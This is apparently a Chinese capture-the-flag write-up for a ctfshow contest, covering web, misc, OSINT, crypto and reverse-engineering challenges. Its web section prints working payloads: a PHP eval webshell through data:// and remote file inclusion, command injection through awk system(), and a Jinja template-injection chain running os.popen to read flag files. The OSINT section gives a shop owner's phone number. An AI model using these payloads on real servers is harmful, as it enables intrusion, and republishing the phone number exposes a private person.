目录

<1> web

(1)签到(data协议)

(2) easyPHP(awk执行命令)

(3) 姻缘测试(ssti)

(4) blog

<2> Misc

(1)misc签到

(2) 没大没小的串串

<3>osint部分

(1) 任性老板

(2) 蛤壳雪茄-1

<4> Crypto

(1) The Dancing Men

(2) base(对base进行栅栏的密文解密)

(3) 伪装成RSA的MUSC

<5> re

(1) re签到(base64代码)

(2) magic


<1> web

(1)签到(data协议)

  error_reporting(0);highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(strrev($file)==$file){include $file;}

strrev 就是翻转字符串,这道题就要保证传入的file字符串反转一样。 同时include file

可以使用data协议,因为data协议php标记?>闭合后可以加任意字符不会影响。

file=data://text/plain,<?php eval($_POST['shell']); ?>>? ;)]'llehs'[TSOP_$(lave php?<,nialp/txet//:atad&shell=system('ls /');

发现 f1agaaa  cat/f1agaaa 得到flag

ctfshow 单身杯(dsb)_nomv的博客-CSDN博客

除了这个解,看nomv师傅博客可知,这道题还存在远程文件包含

python3 -m http.server 81 开放一个81端口

file=http://vps:ip/1.php?id==di?php.1/pi:spv//:ptth1.php内容写入我们要执行的php代码
<?php//echo system("ls /");echo sysetm("cat /f1agaaa");
?>

注意一定要跟个?否则由于逆序无法包含

发现flag文件为 f1agaaa 更改1.php为 cat /f1agaaa 得到flag

(2) easyPHP(awk执行命令)

<?php
error_reporting(0);
highlight_file(__FILE__);$cmd = $_POST['cmd'];
$param = $_POST['param'];if(isset($cmd) && isset($param)){$cmd=escapeshellcmd(substr($cmd,0,3))." ".escapeshellarg($param)." ".__FILE__;shell_exec($cmd);
}

escapeshellcmd 和 escapeshellarg 函数

预期解是:cmd=sed&param=/php\|POST\|exec/!dw1.php 生成1.php

sed '/php\|POST\|exec/!dw1.php' 

然后 /1.php 传入 cmd=echo "<?php eval(\$_POST[1]);?>">2.php

写入木马文件到 2.php里 然后我们访问2.php

ls /发现了flag文件

 非预期解:awk执行系统命令

awk | GTFOBins

就是将执行的命令语句输入到文件中并执行。因为是没有回显的,所以可以写入文件里,然后访问查看

写入ls />a命令到a文件 cmd=awk&param=BEGIN {system("ls />a")}

之后访问/a 下载下来a文件,发现flag文件 f1agaaa

之后写入 cat /f1agaaa 命令到a文件再次访问/a 下载a文件打开即可获得flag

(3) 姻缘测试(ssti)

在源码中发现了/source

访问得到了源码:

def is_hacker(string):"""整那些个花里胡哨的waf有啥用,还不如这一个,直接杜绝SSTI"""if "{" in string and "}" in string :return Trueelse:return False

这里是用and判断的,我们可以分开写入 { 和 }

?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('ls /').read()}}

发现flag.txt

?boy_name={{'&girl_name='.__class__.__base__.__subclasses__()[81].__init__.__globals__.__import__('os').popen('cat /flag.txt').read()}}

(4) blog

搞不明白,水平还不够,欠着。。。

<2> Misc

(1)misc签到

提示:

  1. 压缩包密码是5位字符
  2. lsb有内容
  3. flag包含5个空格、2个逗号,均替换为下划线,连续只留1个下划线

根据提示爆破出密码:61f@X

解压后得到一张 jpg文件 文件末尾发现一大堆base64编码

解码后得到:PNG什么什么  肯定是一张png图片 我们再用base64转图片

补全二维码定位角,扫码。。。什么都没有 后来得知要将二维码反色后补全就能得到一半flag。

原话:与正常的二维码对比一下,会发现这个的黑白区域好像反了 。 emmm我还需要多练

用Stegsolve转换一下 然后再补上定位码

hex解码得到后半段flag:lue, far exceeds your belief}

提示说有lsb,把图片丢进zsteg一把梭后得到前半段flag

记得加 -a 不然显示nothing :(

最终flag为:ctfshow{Your_potential_value_far_exceeds_your_belief}

(2) 没大没小的串串

打乱了大小写的flag是 y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns

其中正确的flag的md5是 7513209051f455fa44d0fa5cd0f3e051

python爆破

# Leetcode784 字母大小全排列
import hashlib
def letterCasePermutation(s):result = []lens = len(s)if s == '':return resultdef dfs(currs, idx):if idx == lens:result.append(currs)returnif s[idx] >= 'a' and s[idx] <= 'z':dfs(currs + s[idx], idx + 1)dfs(currs + s[idx].upper(), idx + 1)elif s[idx] >= 'A' and s[idx] <= 'Z':dfs(currs + s[idx], idx + 1)dfs(currs + s[idx].lower(), idx + 1)else:dfs(currs + s[idx], idx + 1)dfs('', 0)return result
s="y0U_RE4lLy_kn0W_TH1S_ConGr4tUlAT10Ns"
a=letterCasePermutation(s)
for i in a:if hashlib.md5(i.encode('utf-8')).hexdigest()=="7513209051f455fa44d0fa5cd0f3e051":print("find it:",i)break

后面的题看了wp也不知原理,emmm脑洞不够,便不再复现了

<3>osint部分

(1) 任性老板

flag形式为:ctfshow{店名_店家手机号} 下载题目附件得到以下图片

解压之后我们得到了一张面馆的广告图。我们要根据这张图片溯源到店家名称及手机号。

感觉有一点社工题目的韵味了。

我们通过百度识图,在类似图片里得到了这张图片下面的内容。

我们百度搜索一下相关信息:

通过视频得知:这个店名应该就是:左撇子私房面

通过百度地图得知店家手机号为:15882424927

所以flag为:ctfshow{左撇子私房面_15882424927}

(2) 蛤壳雪茄-1

题目描述:

这张照片是在22年第一季度-第二季度之间拍的,请找出这家飞机的所属公司的官网地址。

例:ctfshow{www.mumuzi.com}

附件是一个飞机图片:

这次百度识图识别出一堆奇奇怪怪的玩意,用不得了。。。

yandex识图网上都说很不错:Yandex Images: search for images online or search by image

果然,识别出这个飞机部位应该是波音737 -200 飞机的某个部位,但是看他们的图片是白色的

我们谷歌搜索 black color Boeing737-200

所以这个飞机所属航空公司的官网为: Vols nolisés - Canada et États-Unis | Chrono Aviation

flag:ctfshow{www.chronoaviation.com}

<4> Crypto

(1) The Dancing Men

如题,舞动的小人

来自夏洛克福尔摩斯在《归来记》中侦探案件使用的一种加密方式

BUUCTF-Crypto-猪圈密码及其变种+银河密码+跳舞的小人_ASSOINT的博客-CSDN博客_银河密码

百度搜索得到了对应的解密图

please use underslash between every word with initials in capitals the flag is everyone loves taoshen

所以flag为:ctfshow{Everyone_Loves_Taoshen}

(2) base(对base进行栅栏的密文解密)

The flag is:YhNgZRO0Zc3vDxTjW5m4RdQZINYZUOm3wS0j2m5TcsM1LUYYOF23jjTtiyT9

ctfshow的base64编码是:Y3Rmc2hvdw==

栅栏密码栏数应该是6

所以base64编码为:Y3Rmc2hvd3s3NDQwMjgxZS1jZTI0LTRjNjUtOWY2Yi05ZmYyZmU5OTc4OTF9

解密得到flag

(3) 伪装成RSA的MUSC

解压后得到一个压缩包和一段文本:

.. .. ... . . .. ... .. .. ... . . .. ... .. .. . . ... . . ...

对照敲击码表得出 22 31 12 32 23 11 23 22 11 31 13 即GLBMHAHGALC

对应提示:nnkyiee是什么意思呢? 九键

得到:45264244252 即压缩包密码

得到了 p、q、c 但是e呢?

再看文本名称:套!都能套!

点阵可以转换为摩斯电码,1个.是.,两个是-三个是空格

-- ..- -- ..- --.. ..

mumuzi 再次九键转为数字

686894  得到了e

RSA e 不互素考点

import gmpy2
from Crypto.Util.number import *# 当e约去公约数后与phi互素
def decrypt(p, q, e, c):n = p * qphi = (p - 1) * (q - 1)t = gmpy2.gcd(e, phi)d = gmpy2.invert(e // t, phi)m = pow(c, d, n)print(m)msg = gmpy2.iroot(m, t)print(msg)if msg[1]:print(long_to_bytes(msg[0]))p= 104791011181838632984653274103788907544368791187076335471213944302284807790748266682463882231027996693193572906324997830449026622973759383503770415564182978292591648950046318334646695444450310198889173256818225657021740635305655975465047235964535452899499225672868835617089387862240683251385991237767922785241
q= 90960275501044744928190829668121052091907954961680699856419749850071871964532625791461291878837850007468243999602408861075793822642812918261908705981765163097854558645253227202861087920836248185116835897960441132756288108873425215132591817120886993422056486860736156966942973556049071468967279588398766107387
e= 686894
c= 4760904535528937856481690262397732355407727622511444072793643008141049985355461179480947416206998527526080939575085820881304511476110146502666062305981955205407338190002810791950980724498999422997162030791074913110508848669455374727003737734373054800682699103953435264256125566100583042576647316240024759470816653960355845811060204737625557855881058175018971502763224693108395514674517119000539255761180454879538780379694450171070008832544248927030602002726819086629963953652235265972324121785879653123472819473679133833118153759368617324927859670207154545276222169571548729874270877516947380905110040442091750015568decrypt(p, q, e, c)

<5> re

(1) re签到(base64代码)

下载的文件拖入到IDA64中,F5调出代码

发现函数是经过三次be()函数之后,与一段base编码进行比较,是的话就会输出password

据说是base64编码函数,我还真没看明白....没研究过

不过猜测也应该差不多,我们之间反推,对strcmp函数处的字符串base64解码三次

得到ctfshow{dsb_re_sign_in_hsssssssss}

(2) magic

题目描述:3个密码只有1个是正确的

下载好附件我们拖入IDA中

查看main函数

发现是输入一个整数,然后作为参数调用checkToken函数,我们跟进查看checkToken函数

发现要同时满足checkSum,p,h 函数都返回true。

checkSum函数:

 h函数:

 p函数:

所以 该整数要满足的条件为:

1. 各位的数字加起来等于58

2. 是回文数

3. 是质数

ctfshow{9888889}

ctfshow单身杯相关推荐

  1. CTFshow单身杯 部分wp

    前言:不会吧不会吧不会有人520521不约会打比赛吧 文章目录 1.单身杯热身题目 2.misc签到 3.没大没小的串串 4.任性老板 5.蛤壳雪茄-1 6.蛤壳雪茄-2 7.The Dancing ...

  2. ctfshow单身杯部分wp

    web签到 题目代码 error_reporting(0); highlight_file(__FILE__);$file = $_POST['file'];if(isset($file)){if(s ...

  3. ctfshow单身杯(dsb)个人wp

    目录 MISC签到 没大没小的串串 古典base re签到 pwn签到 MISC签到 wp直接都写在题目描述里面了 先进行一个破的爆 右键记事本打开发现base64编码 解码得到半个二维码 zsteg ...

  4. CTFSHOW新手杯MISC部分WriteUp

    引文 之前复现了CTFSHOW新人杯的WEB方向部分题目,今天就复现一下MISC为主的题目,可能有些读者不太明白MISC方向是什么意思,简单来说就是"杂项",包括:隐写,压缩包处理 ...

  5. CTFshow月饼杯crypto部分wp

    CTFshow月饼杯crypto部分wp crypto 1 题目描述: 密文如下: 第一行给出为自动密码,搜索到相关文章下载break_autokey.py和相关的词频统计脚本,修改ctext跑一下发 ...

  6. ctfshow七夕杯

    ctfshow七夕杯misc海盗的密码WP 题目链接 题目描述 阿卜杜拉希.三哈.穆罕默德是一名来自索马里的海盗,当他不工作的时候,就喜欢窝在家里上上网,学学安全方面的知识. 听说他喜欢用ip地址做密 ...

  7. CTFshow 击剑杯 部分WP

    摆烂了摆烂了 太难了 聪明的师傅已经组队打起月赛了 试试能不能苟住前5 苟住了 复现的后面再补充吧 文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...

  8. CTFSHOW: 36D杯 misc ez-qrcode

    文章目录 前言 1.第一眼 2.格式信息 3.去掉掩码 4.数据解码 5.参考网站: 前言 本题为:CTFSHOW的36D杯 misc ez-qrcode 和攻防世界的qr-easy解法基本一模一样. ...

  9. CTFshow击剑杯osint——人家想玩嘛,人有点多超详细解法

    首先,在这里跟师傅们说一声抱歉,因为这次是自己第一次比较正式的出Osint题,可能有一些地方没有注意到,没有认真审核,给师傅们带来了麻烦,真的很抱歉!! 以下是人家想玩嘛.人有点多的详细解法及思路: ...

最新文章

  1. mongo 创建索引_索引系列:2dsphere索引
  2. jvm第7节-锁(偏向锁,轻量锁,自旋锁)
  3. 一名 40 岁“老”程序员的反思~
  4. boost::graph模块实现二分图算法的测试程序
  5. bgi::detail::intersection_content用法的测试程序
  6. Java多线程之Callable、Future和FutureTask
  7. Gradle-jar-aar
  8. 《MFC游戏开发》笔记三 游戏贴图与透明特效的实现
  9. Matlab中一个很有用的函数:regionprops
  10. 转DateTimePicker 控件的使用
  11. 自动驾驶7-3 最终项目解决方案 Final Project Solution
  12. 传奇架设教程GOM引擎微端设置方法
  13. 网络基础知识详解(图解版)
  14. 知识图谱-KGE-模型:概述【KGE模型充当打分函数的作用】【负采样】【不同模型在不同KG上的表现不一致,需要尝试对比】
  15. matlab中a2=poly(p2),插值与拟合matlab实现
  16. 「TShark学习」TShark抓包笔记
  17. CodeForces - 1004B - Sonya and Exhibition(纯思维题)
  18. Flex系列教程——flex的下载与安装
  19. 【云原生 | Kubernetes 系列】K8s 实战 一文学会如何从 PodSecurityPolicy 迁移到内置的 PodSecurity 准入控制器
  20. Web前端开发是做什么的?学Web前端有前途吗?

热门文章

  1. 物理地址、有效地址、逻辑地址和线性地址
  2. 艾美捷ICT FLICA天冬氨酸蛋白酶(Caspase)活性检测试剂盒说明书
  3. javase笔记day18
  4. EternalBlue漏洞利用
  5. TDOA定位方法的Fang算法的程序实现(二维)
  6. azg集团携手Bubs开展战略合作,为中国用户提供优质奶粉
  7. Clustered Federated Learning 论文源码阅读笔记
  8. can't connect to to MySQL server on 'localhost'(10061)
  9. JavaScript——异常处理
  10. Java中的条件语句